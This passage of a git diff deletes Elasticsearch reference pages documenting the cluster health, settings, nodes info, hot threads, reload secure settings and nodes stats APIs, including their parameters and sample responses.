-      "node_decision" : "worse_balance",          <3>
-      "weight_ranking" : 1
-    }
-  ]
-}
---------------------------------------------------
-// NOTCONSOLE
-<1> Whether rebalancing is allowed on the cluster.
-<2> Whether the shard can be rebalanced to another node.
-<3> The reason the shard cannot be rebalanced to the node, in this case indicating that it offers no better balance than the current node.
diff --git a/docs/reference/cluster/get-settings.asciidoc b/docs/reference/cluster/get-settings.asciidoc
deleted file mode 100644
index 16b88f60501..00000000000
--- a/docs/reference/cluster/get-settings.asciidoc
+++ /dev/null
@@ -1,43 +0,0 @@
-[[cluster-get-settings]]
-=== Cluster get settings API
-++++
-<titleabbrev>Cluster get settings</titleabbrev>
-++++
-
-Returns cluster-wide settings.
-
-[source,console]
-----
-GET /_cluster/settings
-----
-
-[[cluster-get-settings-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[cluster-get-settings-api-request]]
-==== {api-request-title}
-
-`GET /_cluster/settings`
-
-[[cluster-get-settings-api-desc]]
-==== {api-description-title}
-
-By default, this API call only returns settings that have been explicitly 
-defined, but can also include the default settings by calling the 
-`include_defaults` parameter.
-
-
-[[cluster-get-settings-api-query-params]]
-==== {api-query-parms-title}
-
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=flat-settings]
-
-`include_defaults`::
-    (Optional, Boolean) If `true`, returns all default cluster settings. 
-    Defaults to `false`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
\ No newline at end of file
diff --git a/docs/reference/cluster/health.asciidoc b/docs/reference/cluster/health.asciidoc
deleted file mode 100644
index e958a29d75b..00000000000
--- a/docs/reference/cluster/health.asciidoc
+++ /dev/null
@@ -1,195 +0,0 @@
-[[cluster-health]]
-=== Cluster health API
-++++
-<titleabbrev>Cluster health</titleabbrev>
-++++
-
-Returns the health status of a cluster.
-
-[[cluster-health-api-request]]
-==== {api-request-title}
-
-`GET /_cluster/health/<target>`
-
-[[cluster-health-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[cluster-health-api-desc]]
-==== {api-description-title}
-
-The cluster health API returns a simple status on the health of the 
-cluster. You can also use the API to get the health status of only specified
-data streams and indices. For data streams, the API retrieves the health status
-of the stream's backing indices.
-
-The cluster health status is: `green`, `yellow` or `red`. On the shard level, a 
-`red` status indicates that the specific shard is not allocated in the cluster, 
-`yellow` means that the primary shard is allocated but replicas are not, and 
-`green` means that all shards are allocated. The index level status is 
-controlled by the worst shard status. The cluster status is controlled by the 
-worst index status.
-
-One of the main benefits of the API is the ability to wait until the cluster 
-reaches a certain high water-mark health level. For example, the following will 
-wait for 50 seconds for the cluster to reach the `yellow` level (if it reaches 
-the `green` or `yellow` status before 50 seconds elapse, it will return at that 
-point):
-
-[source,console]
---------------------------------------------------
-GET /_cluster/health?wait_for_status=yellow&timeout=50s
---------------------------------------------------
-
-[[cluster-health-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases used to limit
-the request. Wildcard expressions (`*`) are supported.
-+
-To target all data streams and indices in a cluster, omit this parameter or use
-`_all` or `*`.
-
-[[cluster-health-api-query-params]]
-==== {api-query-parms-title}
-
-`level`::
-    (Optional, string) Can be one of `cluster`, `indices` or `shards`. Controls 
-    the details level of the health information returned. Defaults to `cluster`.
-    
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=local]
-    
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-`wait_for_active_shards`::
-    (Optional, string) A number controlling to how many active shards to wait 
-    for, `all` to wait for all shards in the cluster to be active, or `0` to not 
-    wait. Defaults to `0`.
-    
-`wait_for_events`::
-    (Optional, string) Can be one of `immediate`, `urgent`, `high`, `normal`, 
-    `low`, `languid`. Wait until all currently queued events with the given 
-    priority are processed.
-
-`wait_for_no_initializing_shards`::
-    (Optional, Boolean) A boolean value which controls whether to wait (until 
-    the timeout provided) for the cluster to have no shard initializations. 
-    Defaults to false, which means it will not wait for initializing shards.
-
-`wait_for_no_relocating_shards`::
-    (Optional, Boolean) A boolean value which controls whether to wait (until 
-    the timeout provided) for the cluster to have no shard relocations. Defaults 
-    to false, which means it will not wait for relocating shards.
-
-`wait_for_nodes`::
-    (Optional, string) The request waits until the specified number `N` of
-    nodes is available. It also accepts `>=N`, `<=N`, `>N` and `<N`.
-    Alternatively, it is possible to use `ge(N)`, `le(N)`, `gt(N)` and
-    `lt(N)` notation.
-
-`wait_for_status`::
-    (Optional, string) One of `green`, `yellow` or `red`. Will wait (until the 
-    timeout provided) until the status of the cluster changes to the one
-    provided or better, i.e. `green` > `yellow` > `red`. By default, will not
-    wait for any status.
-
-[[cluster-health-api-response-body]]
-==== {api-response-body-title}
-
-`cluster_name`::
-    (string) The name of the cluster.
-
-`status`::
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cluster-health-status]
-
-`timed_out`::
-    (Boolean) If `false` the response returned within the period of 
-    time that is specified by the `timeout` parameter (`30s` by default).
-
-`number_of_nodes`::
-    (integer) The number of nodes within the cluster.
-
-`number_of_data_nodes`::
-    (integer) The number of nodes that are dedicated data nodes.
-
-`active_primary_shards`::
-    (integer) The number of active primary shards.
-
-`active_shards`::
-    (integer) The total number of active primary and replica shards.
-
-`relocating_shards`::
-    (integer) The number of shards that are under relocation.
-
-`initializing_shards`::
-    (integer) The number of shards that are under initialization.
-
-`unassigned_shards`::
-    (integer) The number of shards that are not allocated.
-
-`delayed_unassigned_shards`::
-    (integer) The number of shards whose allocation has been delayed by the 
-    timeout settings.
-
-`number_of_pending_tasks`::
-    (integer) The number of cluster-level changes that have not yet been 
-    executed.
-
-`number_of_in_flight_fetch`::
-    (integer) The number of unfinished fetches.
-
-`task_max_waiting_in_queue_millis`::
-    (integer) The time expressed in milliseconds since the earliest initiated task 
-    is waiting for being performed.
-
-`active_shards_percent_as_number`::
-    (float) The ratio of active shards in the cluster expressed as a percentage. 
-
-[[cluster-health-api-example]]
-==== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET _cluster/health
---------------------------------------------------
-// TEST[s/^/PUT test1\n/]
-
-The API returns the following response in case of a quiet single node cluster 
-with a single index with one shard and one replica:
-
-[source,console-result]
---------------------------------------------------
-{
-  "cluster_name" : "testcluster",
-  "status" : "yellow",
-  "timed_out" : false,
-  "number_of_nodes" : 1,
-  "number_of_data_nodes" : 1,
-  "active_primary_shards" : 1,
-  "active_shards" : 1,
-  "relocating_shards" : 0,
-  "initializing_shards" : 0,
-  "unassigned_shards" : 1,
-  "delayed_unassigned_shards": 0,
-  "number_of_pending_tasks" : 0,
-  "number_of_in_flight_fetch": 0,
-  "task_max_waiting_in_queue_millis": 0,
-  "active_shards_percent_as_number": 50.0
-}
---------------------------------------------------
-// TESTRESPONSE[s/testcluster/integTest/]
-// TESTRESPONSE[s/"number_of_pending_tasks" : 0,/"number_of_pending_tasks" : $body.number_of_pending_tasks,/]
-// TESTRESPONSE[s/"task_max_waiting_in_queue_millis": 0/"task_max_waiting_in_queue_millis": $body.task_max_waiting_in_queue_millis/]
-
-The following is an example of getting the cluster health at the
-`shards` level:
-
-[source,console]
---------------------------------------------------
-GET /_cluster/health/my-index-000001?level=shards
---------------------------------------------------
-// TEST[setup:my_index]
diff --git a/docs/reference/cluster/nodes-hot-threads.asciidoc b/docs/reference/cluster/nodes-hot-threads.asciidoc
deleted file mode 100644
index 5e1fa9a36a2..00000000000
--- a/docs/reference/cluster/nodes-hot-threads.asciidoc
+++ /dev/null
@@ -1,72 +0,0 @@
-[[cluster-nodes-hot-threads]]
-=== Nodes hot threads API
-++++
-<titleabbrev>Nodes hot threads</titleabbrev>
-++++
-
-Returns the hot threads on each selected node in the cluster.
-
-
-[[cluster-nodes-hot-threads-api-request]]
-==== {api-request-title}
-
-`GET /_nodes/hot_threads` +
-
-`GET /_nodes/<node_id>/hot_threads`
-
-[[cluster-nodes-hot-threads-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[cluster-nodes-hot-threads-api-desc]]
-==== {api-description-title}
-
-This API yields a breakdown of the hot threads on each selected node in the
-cluster. The output is plain text with a breakdown of each node's top hot 
-threads.
-
-
-[[cluster-nodes-hot-threads-api-path-params]]
-==== {api-path-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=node-id]
-
-
-[[cluster-nodes-hot-threads-api-query-params]]
-==== {api-query-parms-title}
-
-
-`ignore_idle_threads`::
-		(Optional, Boolean) If true, known idle threads (e.g. waiting in a socket 
-		select, or to get a task from an empty queue) are filtered out.  Defaults to 
-		true.
-
-`interval`::
-		(Optional, <<time-units, time units>>) The interval to do the second 
-		sampling of threads. Defaults to `500ms`.
-		
-`snapshots`::
-		(Optional, integer) Number of samples of thread stacktrace. Defaults to 
-		`10`.
-
-`threads`::
-		(Optional, integer) Specifies the number of hot threads to provide 
-		information for. Defaults to `3`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-`type`::
-		(Optional, string) The type to sample. Available options are `block`, `cpu`, and 
-		`wait`. Defaults to `cpu`.
-
-
-[[cluster-nodes-hot-threads-api-example]]
-==== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET /_nodes/hot_threads
-GET /_nodes/nodeId1,nodeId2/hot_threads
---------------------------------------------------
diff --git a/docs/reference/cluster/nodes-info.asciidoc b/docs/reference/cluster/nodes-info.asciidoc
deleted file mode 100644
index 4b8d2e6be50..00000000000
--- a/docs/reference/cluster/nodes-info.asciidoc
+++ /dev/null
@@ -1,355 +0,0 @@
-[[cluster-nodes-info]]
-=== Nodes info API
-++++
-<titleabbrev>Nodes info</titleabbrev>
-++++
-
-Returns cluster nodes information.
-
-
-[[cluster-nodes-info-api-request]]
-==== {api-request-title}
-
-`GET /_nodes` +
-
-`GET /_nodes/<node_id>` +
-
-`GET /_nodes/<metric>` +
-
-`GET /_nodes/<node_id>/<metric>`
-
-[[cluster-nodes-info-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API.
-
-
-[[cluster-nodes-info-api-desc]]
-==== {api-description-title}
-
-The cluster nodes info API allows to retrieve one or more (or all) of
-the cluster nodes information. All the nodes selective options are explained
-<<cluster-nodes,here>>.
-
-By default, it returns all attributes and core settings for a node.
-
-[role="child_attributes"]
-[[cluster-nodes-info-api-path-params]]
-==== {api-path-parms-title}
-
-`<metric>`::
-(Optional, string)
-Limits the information returned to the specific metrics. Supports a
-comma-separated list, such as `http,ingest`.
-+
-[%collapsible%open]
-.Valid values for `<metric>`
-====
-`http`::
-HTTP connection information.
-
-`ingest`::
-Statistics about ingest preprocessing.
-
-`jvm`::
-JVM stats, memory pool information, garbage collection, buffer pools, number of
-loaded/unloaded classes.
-
-`os`::
-Operating system stats, load average, mem, swap.
-
-`plugins`::
-+
---
-Details about the installed plugins and modules per node. The following
-information is available for each plugin and module:
-
-* `name`: plugin name
-* `version`: version of Elasticsearch the plugin was built for
-* `description`: short description of the plugin's purpose
-* `classname`: fully-qualified class name of the plugin's entry point
-* `has_native_controller`: whether or not the plugin has a native controller
-process
---
-
-`process`::
-Process statistics, memory consumption, cpu usage, open file descriptors.
-
-`settings`::
-Lists all node settings in use as defined in the `elasticsearch.yml` file.
-
-`thread_pool`::
-Statistics about each thread pool, including current size, queue and rejected
-tasks
-
-`transport`::
-Transport statistics about sent and received bytes in cluster communication.
-====
-
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=node-id]
-
-
-[[cluster-nodes-info-api-response-body]]
-==== {api-response-body-title}
-
-`build_hash`::
-		Short hash of the last git commit in this release.
-
-`host`::
-		The node's host name.
-
-`ip`::
-		The node's IP address.
-
-`name`::
-		The node's name.
-
-`total_indexing_buffer`::
-		Total heap allowed to be used to hold recently indexed
-		documents before they must be written to disk.  This size is
-		a shared pool across all shards on this node, and is
-    controlled by <<indexing-buffer,Indexing Buffer settings>>.
-
-`total_indexing_buffer_in_bytes`::
-		Same as `total_indexing_buffer`, but expressed in bytes.
-
-`transport_address`::
-		Host and port where transport HTTP connections are accepted.
-
-`version`::
-		{es} version running on this node.
-
-The `os` flag can be set to retrieve information that concern the operating
-system:
-
-`os.refresh_interval_in_millis`::
-		Refresh interval for the OS statistics
-
-`os.name`::
-		Name of the operating system (ex: Linux, Windows, Mac OS X)
-
-`os.arch`::
-		Name of the JVM architecture (ex: amd64, x86)
-
-`os.version`::
-		Version of the operating system
-
-`os.available_processors`::
-		Number of processors available to the Java virtual machine
-
-`os.allocated_processors`::
-	  The number of processors actually used to calculate thread pool size. This
-		number can be set with the <<node.processors, `node.processors`>>
-		setting of a node and defaults to the number of processors reported by
-		the OS.
-
-The `process` flag can be set to retrieve information that concern the current
-running process:
-
-`process.refresh_interval_in_millis`::
-		Refresh interval for the process statistics
-
-`process.id`::
-		Process identifier (PID)
-
-`process.mlockall`::
-		Indicates if the process address space has been successfully locked in memory
-
-
-[[cluster-nodes-info-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=flat-settings]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-
-[[cluster-nodes-info-api-example]]
-==== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-# return just process
-GET /_nodes/process
-
-# same as above
-GET /_nodes/_all/process
-
-# return just jvm and process of only nodeId1 and nodeId2
-GET /_nodes/nodeId1,nodeId2/jvm,process
-
-# same as above
-GET /_nodes/nodeId1,nodeId2/info/jvm,process
-
-# return all the information of only nodeId1 and nodeId2
-GET /_nodes/nodeId1,nodeId2/_all
---------------------------------------------------
-
-The `_all` flag can be set to return all the information - or you can omit it.
-
-
-[[cluster-nodes-info-api-example-plugins]]
-===== Example for plugins metric
-
-If `plugins` is specified, the result will contain details about the installed
-plugins and modules:
-
-[source,console]
---------------------------------------------------
-GET /_nodes/plugins
---------------------------------------------------
-// TEST[setup:node]
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "_nodes": ...
-  "cluster_name": "elasticsearch",
-  "nodes": {
-    "USpTGYaBSIKbgSUJR2Z9lg": {
-      "name": "node-0",
-      "transport_address": "192.168.17:9300",
-      "host": "node-0.elastic.co",
-      "ip": "192.168.17",
-      "version": "{version}",
-      "build_flavor": "{build_flavor}",
-      "build_type": "{build_type}",
-      "build_hash": "587409e",
-      "roles": [
-        "master",
-        "data",
-        "ingest"
-      ],
-      "attributes": {},
-      "plugins": [
-        {
-          "name": "analysis-icu",
-          "version": "{version}",
-          "description": "The ICU Analysis plugin integrates Lucene ICU module into elasticsearch, adding ICU relates analysis components.",
-          "classname": "org.elasticsearch.plugin.analysis.icu.AnalysisICUPlugin",
-          "has_native_controller": false
-        }
-      ],
-      "modules": [
-        {
-          "name": "lang-painless",
-          "version": "{version}",
-          "description": "An easy, safe and fast scripting language for Elasticsearch",
-          "classname": "org.elasticsearch.painless.PainlessPlugin",
-          "has_native_controller": false
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_nodes": \.\.\./"_nodes": $body.$_path,/]
-// TESTRESPONSE[s/"elasticsearch"/$body.cluster_name/]
-// TESTRESPONSE[s/"USpTGYaBSIKbgSUJR2Z9lg"/\$node_name/]
-// TESTRESPONSE[s/"name": "node-0"/"name": $body.$_path/]
-// TESTRESPONSE[s/"transport_address": "192.168.17:9300"/"transport_address": $body.$_path/]
-// TESTRESPONSE[s/"host": "node-0.elastic.co"/"host": $body.$_path/]
-// TESTRESPONSE[s/"ip": "192.168.17"/"ip": $body.$_path/]
-// TESTRESPONSE[s/"build_hash": "587409e"/"build_hash": $body.$_path/]
-// TESTRESPONSE[s/"roles": \[[^\]]*\]/"roles": $body.$_path/]
-// TESTRESPONSE[s/"attributes": \{[^\}]*\}/"attributes": $body.$_path/]
-// TESTRESPONSE[s/"plugins": \[[^\]]*\]/"plugins": $body.$_path/]
-// TESTRESPONSE[s/"modules": \[[^\]]*\]/"modules": $body.$_path/]
-
-
-[[cluster-nodes-info-api-example-ingest]]
-===== Example for ingest metric
-
-If `ingest` is specified, the response contains details about the available
-processors per node:
-
-[source,console]
---------------------------------------------------
-GET /_nodes/ingest
---------------------------------------------------
-// TEST[setup:node]
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "_nodes": ...
-  "cluster_name": "elasticsearch",
-  "nodes": {
-    "USpTGYaBSIKbgSUJR2Z9lg": {
-      "name": "node-0",
-      "transport_address": "192.168.17:9300",
-      "host": "node-0.elastic.co",
-      "ip": "192.168.17",
-      "version": "{version}",
-      "build_flavor": "{build_flavor}",
-      "build_type": "{build_type}",
-      "build_hash": "587409e",
-      "roles": [],
-      "attributes": {},
-      "ingest": {
-        "processors": [
-          {
-            "type": "date"
-          },
-          {
-            "type": "uppercase"
-          },
-          {
-            "type": "set"
-          },
-          {
-            "type": "lowercase"
-          },
-          {
-            "type": "gsub"
-          },
-          {
-            "type": "convert"
-          },
-          {
-            "type": "remove"
-          },
-          {
-            "type": "fail"
-          },
-          {
-            "type": "foreach"
-          },
-          {
-            "type": "split"
-          },
-          {
-            "type": "trim"
-          },
-          {
-            "type": "rename"
-          },
-          {
-            "type": "join"
-          },
-          {
-            "type": "append"
-          }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_nodes": \.\.\./"_nodes": $body.$_path,/]
-// TESTRESPONSE[s/"elasticsearch"/$body.cluster_name/]
-// TESTRESPONSE[s/"USpTGYaBSIKbgSUJR2Z9lg"/\$node_name/]
-// TESTRESPONSE[s/"name": "node-0"/"name": $body.$_path/]
-// TESTRESPONSE[s/"transport_address": "192.168.17:9300"/"transport_address": $body.$_path/]
-// TESTRESPONSE[s/"host": "node-0.elastic.co"/"host": $body.$_path/]
-// TESTRESPONSE[s/"ip": "192.168.17"/"ip": $body.$_path/]
-// TESTRESPONSE[s/"build_hash": "587409e"/"build_hash": $body.$_path/]
-// TESTRESPONSE[s/"roles": \[[^\]]*\]/"roles": $body.$_path/]
-// TESTRESPONSE[s/"attributes": \{[^\}]*\}/"attributes": $body.$_path/]
-// TESTRESPONSE[s/"processors": \[[^\]]*\]/"processors": $body.$_path/]
diff --git a/docs/reference/cluster/nodes-reload-secure-settings.asciidoc b/docs/reference/cluster/nodes-reload-secure-settings.asciidoc
deleted file mode 100644
index 4ccebe6b60c..00000000000
--- a/docs/reference/cluster/nodes-reload-secure-settings.asciidoc
+++ /dev/null
@@ -1,98 +0,0 @@
-[[cluster-nodes-reload-secure-settings]]
-=== Nodes reload secure settings API
-++++
-<titleabbrev>Nodes reload secure settings</titleabbrev>
-++++
-
-Reloads the keystore on nodes in the cluster.
-
-[[cluster-nodes-reload-secure-settings-api-request]]
-==== {api-request-title}
-
-`POST /_nodes/reload_secure_settings` +
-`POST /_nodes/<node_id>/reload_secure_settings`
-
-[[cluster-nodes-reload-secure-settings-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `manage`
-<<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[cluster-nodes-reload-secure-settings-api-desc]]
-==== {api-description-title}
-
-<<secure-settings,Secure settings>> are stored in an on-disk keystore. Certain
-of these settings are <<reloadable-secure-settings,reloadable>>. That is, you
-can change them on disk and reload them without restarting any nodes in the
-cluster. When you have updated reloadable secure settings in your keystore, you
-can use this API to reload those settings on each node.
-
-When the {es} keystore is password protected and not simply obfuscated, you must
-provide the password for the keystore when you reload the secure settings.
-Reloading the settings for the whole cluster assumes that all nodes' keystores
-are protected with the same password; this method is allowed only when
-<<tls-transport,inter-node communications are encrypted>>. Alternatively, you can
-reload the secure settings on each node by locally accessing the API and passing
-the node-specific {es} keystore password.
-
-[[cluster-nodes-reload-secure-settings-path-params]]
-==== {api-path-parms-title}
-
-`<node_id>`::
-    (Optional, string) The names of particular nodes in the cluster to target.
-    For example, `nodeId1,nodeId2`. For node selection options, see
-    <<cluster-nodes>>.
-
-NOTE: {es} requires consistent secure settings across the cluster nodes, but
-this consistency is not enforced. Hence, reloading specific nodes is not
-standard. It is justifiable only when retrying failed reload operations.
-
-[[cluster-nodes-reload-secure-settings-api-request-body]]
-==== {api-request-body-title}
-
-`secure_settings_password`::
-  (Optional, string) The password for the {es} keystore.
-
-[[cluster-nodes-reload-secure-settings-api-example]]
-==== {api-examples-title}
-
-The following examples assume a common password for the {es} keystore on every
-node of the cluster:
-
-[source,console]
---------------------------------------------------
-POST _nodes/reload_secure_settings
-{
-  "secure_settings_password":"s3cr3t"
-}
-POST _nodes/nodeId1,nodeId2/reload_secure_settings
-{
-  "secure_settings_password":"s3cr3t"
-}
---------------------------------------------------
-// TEST[setup:node]
-// TEST[s/nodeId1,nodeId2/*/]
-
-The response contains the `nodes` object, which is a map, keyed by the
-node id. Each value has the node `name` and an optional `reload_exception`
-field. The `reload_exception` field is a serialization of the exception
-that was thrown during the reload process, if any.
-
-[source,console-result]
---------------------------------------------------
-{
-  "_nodes": {
-    "total": 1,
-    "successful": 1,
-    "failed": 0
-  },
-  "cluster_name": "my_cluster",
-  "nodes": {
-    "pQHNt5rXTTWNvUgOrdynKg": {
-      "name": "node-0"
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"my_cluster"/$body.cluster_name/]
-// TESTRESPONSE[s/"pQHNt5rXTTWNvUgOrdynKg"/\$node_name/]
diff --git a/docs/reference/cluster/nodes-stats.asciidoc b/docs/reference/cluster/nodes-stats.asciidoc
deleted file mode 100644
index a9eba907526..00000000000
--- a/docs/reference/cluster/nodes-stats.asciidoc
+++ /dev/null
@@ -1,2367 +0,0 @@
-[[cluster-nodes-stats]]
-=== Nodes stats API
-++++
-<titleabbrev>Nodes stats</titleabbrev>
-++++
-
-Returns cluster nodes statistics.
-
-[[cluster-nodes-stats-api-request]]
-==== {api-request-title}
-
-`GET /_nodes/stats` +
-
-`GET /_nodes/<node_id>/stats` +
-
-`GET/_nodes/stats/<metric>` +
-
-`GET/_nodes/<node_id>/stats/<metric>` +
-
-`GET /_nodes/stats/<metric>/<index_metric>` +
-
-`GET /_nodes/<node_id>/stats/<metric>/<index_metric>`
-
-[[cluster-nodes-stats-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[cluster-nodes-stats-api-desc]]
-==== {api-description-title}
-
-You can use the cluster nodes stats API to retrieve statistics for nodes in a cluster.
-
-
-All the nodes selective options are explained <<cluster-nodes,here>>.
-
-By default, all stats are returned. You can limit the returned information by
-using metrics.
-
-[[cluster-nodes-stats-api-path-params]]
-==== {api-path-parms-title}
-
-
-`<metric>`::
-    (Optional, string) Limits the information returned to the specific metrics.
-    A comma-separated list of the following options:
-+
---
-  `adaptive_selection`::
-      Statistics about <<search-adaptive-replica,adaptive replica selection>>.
-
-  `breaker`::
-      Statistics about the field data circuit breaker.
-
-  `discovery`::
-      Statistics about the discovery.
-
-  `fs`::
-      File system information, data path, free disk space, read/write
-      stats.
-
-  `http`::
-      HTTP connection information.
-
-  `indexing_pressure`::
-        Statistics about the node's indexing load and related rejections.
-
-  `indices`::
-      Indices stats about size, document count, indexing and deletion times,
-      search times, field cache size, merges and flushes.
-
-  `ingest`::
-      Statistics about ingest preprocessing.
-
-  `jvm`::
-      JVM stats, memory pool information, garbage collection, buffer
-      pools, number of loaded/unloaded classes.
-
-  `os`::
-      Operating system stats, load average, mem, swap.
-
-  `process`::
-      Process statistics, memory consumption, cpu usage, open
-      file descriptors.
-
-  `thread_pool`::
-      Statistics about each thread pool, including current size, queue and
-      rejected tasks.
-
-  `transport`::
-      Transport statistics about sent and received bytes in cluster
-      communication.
---
-
-`<index_metric>`::
-    (Optional, string) Limit the information returned for `indices` metric to
-    the specific index metrics. It can be used only if `indices` (or `all`)
-    metric is specified. Supported metrics are:
-+
---
-    * `completion`
-    * `docs`
-    * `fielddata`
-    * `flush`
-    * `get`
-    * `indexing`
-    * `merge`
-    * `query_cache`
-    * `recovery`
-    * `refresh`
-    * `request_cache`
-    * `search`
-    * `segments`
-    * `store`
-    * `translog`
-    * `warmer`
---
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=node-id]
-
-
-[[cluster-nodes-stats-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=completion-fields]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=fielddata-fields]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=fields]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=groups]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=level]
-
-`types`::
-    (Optional, string) A comma-separated list of document types for the
-    `indexing` index metric.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=include-segment-file-sizes]
-
-[role="child_attributes"]
-[[cluster-nodes-stats-api-response-body]]
-==== {api-response-body-title}
-
-`_nodes`::
-(object)
-Contains statistics about the number of nodes selected by the request.
-+
-.Properties of `_nodes`
-[%collapsible%open]
-====
-`total`::
-(integer)
-Total number of nodes selected by the request.
-
-`successful`::
-(integer)
-Number of nodes that responded successfully to the request.
-
-`failed`::
-(integer)
-Number of nodes that rejected the request or failed to respond. If this value
-is not `0`, a reason for the rejection or failure is included in the response.
-====
-
-`cluster_name`::
-(string)
-Name of the cluster. Based on the <<cluster-name>> setting.
-
-`nodes`::
-(object)
-Contains statistics for the nodes selected by the request.
-+
-.Properties of `nodes`
-[%collapsible%open]
-====
-`<node_id>`::
-(object)
-Contains statistics for the node.
-+
-.Properties of `<node_id>`
-[%collapsible%open]
-=====
-`timestamp`::
-(integer)
-Time the node stats were collected for this response. Recorded in milliseconds
-since the {wikipedia}/Unix_time[Unix Epoch].
-
-`name`::
-(string)
-Human-readable identifier for the node. Based on the <<node-name>> setting.
-
-`transport_address`::
-(string)
-Host and port for the <<modules-transport,transport layer>>, used for internal
-communication between nodes in a cluster.
-
-`host`::
-(string)
-Network host for the node, based on the <<network.host>> setting.
-
-`ip`::
-(string)
-IP address and port for the node.
-
-`roles`::
-(array of strings)
-Roles assigned to the node. See <<modules-node>>.
-
-`attributes`::
-(object)
-Contains a list of attributes for the node.
-
-[[cluster-nodes-stats-api-response-body-indices]]
-`indices`::
-(object)
-Contains statistics about indices with shards assigned to the node.
-+
-.Properties of `indices`
-[%collapsible%open]
-======
-`docs`::
-(object)
-Contains statistics about documents across all primary shards assigned to the
-node.
-+
-.Properties of `docs`
-[%collapsible%open]
-=======
-`count`::
-(integer)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=docs-count]
-
-`deleted`::
-(integer)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=docs-deleted]
-=======
-
-`store`::
-(object)
-Contains statistics about the size of shards assigned to the node.
-+
-.Properties of `store`
-[%collapsible%open]
-=======
-`size`::
-(<<byte-units,byte value>>)
-Total size of all shards assigned to the node.
-
-`size_in_bytes`::
-(integer)
-Total size, in bytes, of all shards assigned to the node.
-
-`reserved`::
-(<<byte-units,byte value>>)
-A prediction of how much larger the shard stores on this node will eventually
-grow due to ongoing peer recoveries, restoring snapshots, and similar
-activities. A value of `-1b` indicates that this is not available.
-
-`reserved_in_bytes`::
-(integer)
-A prediction, in bytes, of how much larger the shard stores on this node will
-eventually grow due to ongoing peer recoveries, restoring snapshots, and
-similar activities. A value of `-1` indicates that this is not available.
-=======
-
-`indexing`::
-(object)
-Contains statistics about indexing operations for the node.
-+
-.Properties of `indexing`
-[%collapsible%open]
-=======
-`index_total`::
-(integer)
-Total number of indexing operations.
-
-`index_time`::
-(<<time-units,time value>>)
-Total time spent performing indexing operations.
-
-`index_time_in_millis`::
-(integer)
-Total time in milliseconds
-spent performing indexing operations.
-
-`index_current`::
-(integer)
-Number of indexing operations currently running.
-
-`index_failed`::
-(integer)
-Number of failed indexing operations.
-
-`delete_total`::
-(integer)
-Total number of deletion operations.
-
-`delete_time`::
-(<<time-units,time value>>)
-Time spent performing deletion operations.
-
-`delete_time_in_millis`::
-(integer)
-Time in milliseconds
-spent performing deletion operations.
-
-`delete_current`::
-(integer)
-Number of deletion operations currently running.
-
-`noop_update_total`::
-(integer)
-Total number of noop operations.
-
-`is_throttled`::
-(Boolean)
-Number of times
-operations were throttled.
-
-`throttle_time`::
-(<<time-units,time value>>)
-Total time spent throttling operations.
-
-`throttle_time_in_millis`::
-(integer)
-Total time in milliseconds
-spent throttling operations.
-=======
-
-`get`::
-(object)
-Contains statistics about get operations for the node.
-+
-.Properties of `get`
-[%collapsible%open]
-=======
-`total`::
-(integer)
-Total number of get operations.
-
-`getTime`::
-(<<time-units,time value>>)
-Time spent performing get operations.
-
-`time_in_millis`::
-(integer)
-Time in milliseconds
-spent performing get operations.
-
-`exists_total`::
-(integer)
-Total number of successful get operations.
-
-`exists_time`::
-(<<time-units,time value>>)
-Time spent performing successful get operations.
-
-`exists_time_in_millis`::
-(integer)
-Time in milliseconds
-spent performing successful get operations.
-
-`missing_total`::
-(integer)
-Total number of failed get operations.
-
-`missing_time`::
-(<<time-units,time value>>)
-Time spent performing failed get operations.
-
